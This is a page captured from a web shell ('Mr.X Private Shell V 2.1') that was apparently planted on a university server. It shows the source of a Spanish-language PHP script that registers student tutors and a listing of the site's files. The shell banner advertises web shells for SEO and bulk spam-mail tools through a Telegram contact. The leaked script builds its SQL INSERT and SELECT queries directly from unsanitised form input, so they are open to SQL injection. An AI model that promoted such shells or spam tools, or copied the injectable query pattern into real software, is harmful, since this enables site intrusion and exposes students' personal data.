__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
?>

<?php
 
include 'conectarbdsql.php';
$link=Conectarse();

header('Content-Type: charset=utf-8');
mysqli_set_charset($link, "utf8");
  

$tipo_doc = $_POST['tipo_doc'] ?? '';
$numero_doc = $_POST['numero_doc'] ?? '';
$carrera = $_POST['carrera'] ?? '';
$codigo = $_POST['codigo'] ?? '';
$p_nombre = $_POST['p_nombre'] ?? '';
$s_nombre = $_POST['s_nombre'] ?? '';
$p_apellido = $_POST['p_apellido'] ?? '';
$s_apellido = $_POST['s_apellido'] ?? '';
$genero = $_POST['genero'] ?? '';
$telefono = $_POST['telefono'] ?? '';
$celular = $_POST['celular'] ?? '';
$correo = $_POST['correo'] ?? '';
$eps = $_POST['eps'] ?? '';
$fecha = $_POST['fecha'] ?? '';
$departamento_nacimiento = $_POST['departamento_nacimiento'] ?? '';
$municipio_nacimiento = $_POST['municipio_nacimiento'] ?? '';
$barrio = $_POST['barrio'] ?? '';
$direccion = $_POST['direccion'] ?? '';
$departamento_residencia = $_POST['departamento_residencia'] ?? '';
$municipio_residencia = $_POST['municipio_residencia'] ?? '';
$dependencia = $_POST['dependencia'] ?? '';
$curso = $_POST['curso'] ?? '';
$lunes = isset($_POST['lunes']) ? 1 : 0;
$martes = isset($_POST['martes']) ? 1 : 0;
$miercoles = isset($_POST['miercoles']) ? 1 : 0;
$jueves = isset($_POST['jueves']) ? 1 : 0;
$viernes = isset($_POST['viernes']) ? 1 : 0;
$sabado = isset($_POST['sabado']) ? 1 : 0;
$fecha_inicio = $_POST['fecha_inicio'] ?? '';
$fecha_final = $_POST['fecha_final'] ?? '';
$horas = $_POST['horas'] ?? '';
$lugar = $_POST['lugar'] ?? '';

$semestres = $_POST['semestres'] ?? '';
$promedio = $_POST['promedio'] ?? '';
$nota = $_POST['nota'] ?? '';

// ---------- FORMATEO CORRECTO DE FECHAS ----------

// Fecha de nacimiento
$fecha = null;
if (!empty($_POST['fecha'])) {
    $fechaObj = DateTime::createFromFormat('Y-m-d', $_POST['fecha']);
    if ($fechaObj) {
        $fecha = $fechaObj->format('Y-m-d');
    }
}

// Fecha inicio monitor�a
$fecha_inicio = null;
if (!empty($_POST['fecha_inicio'])) {
    $fechaInicioObj = DateTime::createFromFormat('Y-m-d', $_POST['fecha_inicio']);
    if ($fechaInicioObj) {
        $fecha_inicio = $fechaInicioObj->format('Y-m-d');
    }
}

// Fecha final monitor�a
$fecha_final = null;
if (!empty($_POST['fecha_final'])) {
    $fechaFinalObj = DateTime::createFromFormat('Y-m-d', $_POST['fecha_final']);
    if ($fechaFinalObj) {
        $fecha_final = $fechaFinalObj->format('Y-m-d');
    }
}

// Fecha inscripci�n (HOY)
$fechainsc = date("Y-m-d");

$consulta = mysqli_query($link, "SELECT MAX(id_monitoria) AS mayor FROM monitores")or die("Problemas en el maximo consecutivo: " . mysqli_error($link));
$ordenada=mysqli_fetch_array($consulta);
$consecutivo = ($ordenada['mayor'] ?? 0) + 1;


$consulta2 = mysqli_query($link, "SELECT nombre FROM eps WHERE cod_eps = '$eps'")or die("Error consultando EPS: " . mysqli_error($link));

$ordenada2 = mysqli_fetch_assoc($consulta2);

$fechainsc = date("Ymd");

$fecha_inicio_sql = $fecha_inicio ? "'$fecha_inicio'" : "NULL";
$fecha_final_sql  = $fecha_final ? "'$fecha_final'" : "NULL";
$fecha_sql        = $fecha ? "'$fecha'" : "NULL";

$consulta="insert into monitores values 
('$consecutivo', '$tipo_doc', '$numero_doc', '$carrera', '$codigo', '$p_nombre', '$s_nombre', '$p_apellido', '$s_apellido', '$genero', '$telefono', '$celular', '$correo', '$eps', $fecha_sql, '$departamento_nacimiento', '$municipio_nacimiento',
'$barrio', '$direccion', '$departamento_residencia', '$municipio_residencia',  '$dependencia', '$curso', '$lunes', '$martes', '$miercoles', '$jueves', '$viernes', '$sabado', $fecha_inicio_sql, $fecha_final_sql, '$horas', '$lugar', '$semestres', '$promedio', '$nota', '$fechainsc'
)";

mysqli_query($link, $consulta)or die("error en la inserccion".mysqli_error($link));


include('class.ezpdf.php');
$pdf = new Cezpdf('a4');
$pdf->selectFont('fonts/Helvetica.afm');
$datacreator = array (
                    'Title'=>'Formato Inscripci�n',
                    'Author'=>'Universidad de los LLanos',
                    'Subject'=>'Inscripci�n monitorias',
                    'Creator'=>'Universidad de los LLanos',
                    'Producer'=>'Universidad de los LLanos'
                    );
$pdf->addInfo($datacreator);
//$pdf->ezText("   <b><a href="">ESTE ES EL ID DEL DOCENTE:</a></b>  ".$id_docente,12);$pdf->ezText("\n",4);
$pdf->ezStartPageNumbers(300,20,12,'','',1);

$text_option=array('justification'=>'center',20);
$text_option2=array('justification'=>'center');



$tabla3 = array( 
'showHeadings'=>1, 
'shaded'=>1, 
'showLines'=>1, 
'colGap'=>2, 
'xOrientation'=>'center', 
'cols'=>array( 
"sem" => array('justification'=>'center', 'width' => '140'), 
"prom" => array('justification'=>'center', 'width' => '100'), 
"not" => array('justification'=>'center', 'width' => '100')));


$tabla1 = array( 
'showHeadings'=>1, 
'shaded'=>1, 
'showLines'=>1, 
'colGap'=>2, 
'xOrientation'=>'center', 
'cols'=>array( 
"hor" => array('justification'=>'center', 'width' => '70'), 
"lun" => array('justification'=>'center', 'width' => '50'), 
"mar" => array('justification'=>'center', 'width' => '50'),
"mie" => array('justification'=>'center', 'width' => '60'),
"jue" => array('justification'=>'center', 'width' => '50'),
"vie" => array('justification'=>'center', 'width' => '50'),
"sab" => array('justification'=>'center', 'width' => '50')
));

$tabla2 = array( 
'showHeadings'=>1, 
'shaded'=>1, 
'showLines'=>1, 
'colGap'=>2, 
'xOrientation'=>'center', 
'cols'=>array( 
"con" => array('justification'=>'center', 'width' => '120'), 
"curso" => array('justification'=>'center', 'width' => '80'), 
"lug" => array('justification'=>'center', 'width' => '100'), 
"hor" => array('justification'=>'center', 'width' => '70'), 
"lun" => array('justification'=>'center', 'width' => '30'), 
"mar" => array('justification'=>'center', 'width' => '30'),
"mie" => array('justification'=>'center', 'width' => '30'),
"jue" => array('justification'=>'center', 'width' => '30'),
"vie" => array('justification'=>'center', 'width' => '30'),
"sab" => array('justification'=>'center', 'width' => '30')));


$tabla4 = array( 
'showHeadings'=>1, 
'shaded'=>1, 
'showLines'=>1, 
'colGap'=>2, 
'xOrientation'=>'center', 
'cols'=>array( 
"req" => array('justification'=>'left', 'width' => '350'), 
"cum" => array('justification'=>'center', 'width' => '70'), 
"ncum" => array('justification'=>'center', 'width' => '70')));

$tabla5 = array( 
'showHeadings'=>1, 
'shaded'=>1, 
'showLines'=>1, 
'colGap'=>2, 
'xOrientation'=>'center', 
'cols'=>array( 
"sel" => array('justification'=>'left', 'width' => '120'), 
"si" => array('justification'=>'center', 'width' => '70'), 
"no" => array('justification'=>'center', 'width' => '70')));

$tabla6 = array( 
'showHeadings'=>1, 
'shaded'=>1, 
'showLines'=>1, 
'colGap'=>2, 
'xOrientation'=>'center', 
'cols'=>array( 
"rev" => array('justification'=>'left', 'width' => '200'), 
"fec" => array('justification'=>'center', 'width' => '70')));

$tabla7 = array( 
'showHeadings'=>1, 
'shaded'=>1, 
'showLines'=>1, 
'colGap'=>2, 
'xOrientation'=>'center', 
'cols'=>array( 
"rev" => array('justification'=>'left', 'width' => '240'), 
"fec" => array('justification'=>'center', 'width' => '70')));

$options = array( 'shadeCol'=>array(0.9,0.9,0.9),
'xOrientation'=>'center',
'width'=>500);
$centrar=array('xOrientation'=>'center');

$pdf->ezText("<b>DATOS PERSONALES\n</b>",10);
$pdf->ezText("\n",4);
if(strcmp("TI", $tipo_doc)==0) $tipolimpio="Tarjeta de identidad";
if(strcmp("CC", $tipo_doc)==0) $tipolimpio="Cedula de ciudadania";
if(strcmp("CE", $tipo_doc)==0) $tipolimpio="Cedula de extranjeria";
$pdf->ezText("<b>Tipo de documento: </b>$tipolimpio               <b>Numero: </b>$numero_doc  \n",9);
//$pdf->ezText("<b>Numero: </b>$numero_doc \n",9);
$pdf->ezText("<b>Nombre: </b>$p_nombre $s_nombre                     <b>Apellido: </b>$p_apellido $s_apellido \n",9);
//$pdf->ezText("<b>Apellido: </b>$p_apellido $s_apellido \n",9);
//$pdf->ezText("<b>Codigo: </b>$codigo \n",9);

if($carrera==1) $carrera="ADMINISTRACION DE EMPRESAS (Jornada Diurna)";
if($carrera==2) $carrera="ADMINISTRACION DE EMPRESAS (Jornada Nocturna)";
if($carrera==3) $carrera="BIOLOGIA";
if($carrera==4) $carrera="CONTADURIA PUBLICA (Jornada Diurna)";
if($carrera==5) $carrera="CONTADURIA PUBLICA (Jornada Nocturna)";
if($carrera==6) $carrera="ECONOMIA";
if($carrera==7) $carrera="ENFERMERIA";
if($carrera==8) $carrera="INGENIERIA AGROINDUSTRIAL";
if($carrera==9) $carrera="INGENIERIA AGRONOMICA";
if($carrera==10) $carrera="INGENIERIA DE SISTEMAS";
if($carrera==11) $carrera="INGENIERIA ELECTRONICA";
if($carrera==12) $carrera="LICENCIATURA EN EDUCACION FISICA";
if($carrera==13) $carrera="LICENCIATURA EN MATEMATICAS Y FISICA";
if($carrera==14) $carrera="LICENCIATURA EN PEDAGOGIA INFANTIL";
if($carrera==15) $carrera="LICENCIATURA EN PRODUCCION AGROPECUARIA";
if($carrera==16) $carrera="MEDICINA VETERINARIA Y ZOOTECNIA";
if($carrera==17) $carrera="MERCADEO";
if($carrera==18) $carrera="TECNOLOGIA EN GESTION DE EMPRESAS PECUARIAS (Villavicencio)";
if($carrera==19) $carrera="TECNOLOGIA EN REGENCIA DE FARMACIA";
if($carrera==20) $carrera="INGENIER�A AMBIENTAL";
if($carrera==21) $carrera="LICENCIATURA EN MATEM�TICAS";
if($carrera==22) $carrera="LICENCITARUA EN EDUCACI�N F�SICA Y DEPORTE";
if($carrera==23) $carrera="LICENCIATURA EN EDUCACI�N INFANTIL";
if($carrera==24) $carrera="LICENCIATURA EN EDUACI�N CAMPESINA Y RURAL";
if($carrera==25) $carrera="FONOAUDIOLOG�A";
if($carrera==26) $carrera="FISIOTERAPIA";
if($carrera==27) $carrera="INGENIER�A DE PROCESOS";
if($carrera==28) $carrera="LICENCIATURA EN ESPAÑOL E INGLES";
$pdf->ezText("<b>Programa: </b>$carrera                  <b>Codigo: </b>$codigo\n",9);
//$pdf->ezText("<b>Celular: </b>$celular \n",9);
$pdf->ezText("<b>Residencia: </b>$direccion   <b>Barrio: </b>$barrio                  <b>Celular: </b>$celular    <b>Email:</b> $correo \n",9);


$pdf->ezText("\n",4);
$pdf->ezText("<b>DATOS DE LA MONITORIA A REALIZAR\n</b>",10);

$pdf->ezText("<b>Codigo Inscripci�n:</b>  ".$consecutivo,9);
$pdf->ezText("\n",4);
//$pdf->ezText("<a href='formatosobreocasional.html?id=".$id_docente."'>Imprimir Sobre</a> ",12);
//$pdf->ezText("\n",4);
$pdf->ezText("\n",4);

if(strcmp("B", $lugar)==0) $lugar="Sede Barcelona";
if(strcmp("S", $lugar)==0) $lugar="Sede san Antonio";
if(strcmp("E", $lugar)==0) $lugar="Sede Emporio";
if(strcmp("G", $lugar)==0) $lugar="Sede Boquemonte";

if($lunes=="1") $lunes="X";
if($martes=="1") $martes="X";
if($miercoles=="1") $miercoles="X";
if($jueves=="1") $jueves="X";
if($viernes=="1") $viernes="X";
if($sabado=="1") $sabado="X";


$data2[] = array('con'=>$dependencia, 'curso'=>$curso,  'lug'=>$lugar, 'hor'=>$horas,  'lun'=>$lunes, 'mar'=>$martes, 'mie'=>$miercoles, 'jue'=>$jueves, 'vie'=>$viernes, 'sab'=>$sabado);
$titles2 = array('con'=>'<b>Dependencia</b>', 'curso'=>'<b>Curso</b>',  'lug'=>'<b>Lugar</b>', 'hor'=>'<b>Horas semanales</b>','lun'=>'<b>Lu</b>', 'mar'=>'<b>Mar</b>', 'mie'=>'<b>Mie</b>', 'jue'=>'<b>Jue</b>', 'vie'=>'<b>Vie</b>', 'sab'=>'<b>Sab</b>');
$pdf->ezTable($data2,$titles2,'',$tabla2);
$pdf->ezText("\n",6);

$data3[] = array('sem'=>$semestres,  'prom'=>$promedio, 'not'=>$nota );
$titles3 = array('sem'=>'<b>Semestres Cursados</b>', 'prom'=>'<b>Promedio Carrera</b>', 'not'=>'<b>Nota del curso</b>');
$pdf->ezTable($data3,$titles3,'',$tabla3);

$pdf->ezText("\n",6);
$pdf->ezText("<b>PARA TODOS LOS EFECTOS LEGALES, CERTIFICO QUE LOS DATOS POR M� CONSIGNADOS EN EL PRESENTE FORMATO SON VERACES. </b>",10);$pdf->ezText("\n",2);

$pdf->ezText(" (La suma total de las horas semanales de monitor�a y/o auxiliar de docencia a las que me estoy postulando no supera las 16 horas semanales)",8);
$pdf->ezText("\n",6);

$pdf->ezText(" <b>FIRMA ESTUDIANTE: _______________________________</b>",12,$text_option);

$pdf->ezText("\n",4);

$pdf->ezText("\n",4);
$pdf->ezText("<b>ESPACIO PARA SER DILIGENCIADO POR LA FACULTAD O DEPENDENCIA QUE SOLICITA LA MONITOR�A\n</b>",10);

$data4[0] = array('req'=>'Matr�cula vigente',  'cum'=>'',  'ncum'=>'');
$data4[1] = array('req'=>'Est� cursando como m�nimo el tercer semestre',  'cum'=>'',  'ncum'=>'' );
$data4[2] = array('req'=>'Promedio acumulado de notas igual o superior a 3.6 o Promedio en cursos vistos del componente curricular,  igual o superior a 3.6',  'cum'=>'',  'ncum'=>'' );
//$data4[3] = array('req'=>'Promedio en cursos vistos del componente curricular,  igual o superior a 3.6',  'cum'=>'',  'ncum'=>'' );
$data4[3] = array('req'=>'No haber sido sancionado disciplinariamente',  'cum'=>'',  'ncum'=>'' );
$data4[4] = array('req'=>'Pruebas de conocimiento y aptitud',  'cum'=>'',  'ncum'=>'' );

$titles4 = array('req'=>'<b>Requisitos</b>', 'cum'=>'<b>Cumple</b>', 'ncum'=>'<b>No Cumple</b>');
$pdf->ezTable($data4,$titles4,'',$tabla4);

$pdf->ezText("\n",4);


$data5[0] = array('sel'=>'<b>Seleccionado</b>',  'si'=>'',  'no'=>'');
$titles5 = array('sel'=>'', 'si'=>'<b>Si</b>', 'no'=>'<b>No</b>');
$pdf->ezTable($data5,$titles5,'',$tabla5);

$pdf->ezText("\n",6);

$data6[0] = array('rev'=>'', 'fec'=>'');
$titles6 = array('rev'=>'<b>Revisado por</b>', 'fec'=>'<b>Fecha</b>');
$pdf->ezTable($data6,$titles6,'',$tabla6);

$pdf->ezText("\n",8);

$data7[0] = array('rev'=>'', 'fec'=>'');
$titles7 = array('rev'=>'<b>Autorizado por(Decano o Jefe de dependencia)</b>', 'fec'=>'<b>Fecha</b>');
$pdf->ezTable($data7,$titles7,'',$tabla7);


$pdf->ezText("\n",4);
$pdf->ezText("<b>Fecha impresi�n:</b> ".date("d/m/Y"),10);
$pdf->ezText("\n",2);

ob_end_clean();
$pdf->ezStream();
$pdf->ezStopPageNumbers();

$output = $pdf->ezOutput();
file_put_contents("inscritos/".$consecutivo.".pdf", $output);

?>




Filemanager

Name Type Size Permission Actions
fonts Folder 0775
inscritos Folder 0775
inscritosauxiliar Folder 0777
acta.php File 5.07 KB 0664
ajax.js File 1.8 KB 0664
auxiliares.php File 11.58 KB 0664
auxiliaresguardar.php File 11.17 KB 0664
carga_municipios.php File 701 B 0664
class.ezpdf.php File 53.66 KB 0664
class.pdf.php File 97.95 KB 0664
conectarbdsql.php File 380 B 0664
cronogramaexamen.png File 42.13 KB 0664
encaauxiliar.png File 78.18 KB 0664
encamonitor.png File 27.36 KB 0664
encamonitor2.png File 74.51 KB 0664
encuesta.php File 20.08 KB 0664
generarreporte.php File 5.04 KB 0664
index.html File 9 B 0664
index.php File 0 B 0664
jquery-2.1.1.min.js File 82.27 KB 0664
jquery-ui-1.7.2.custom.css File 25.51 KB 0664
logo.png File 11.55 KB 0664
monitores.php File 13.86 KB 0664
monitoresguardar.php File 13.38 KB 0664
reporte.php File 2.35 KB 0664
styles.css File 3.74 KB 0664
Filemanager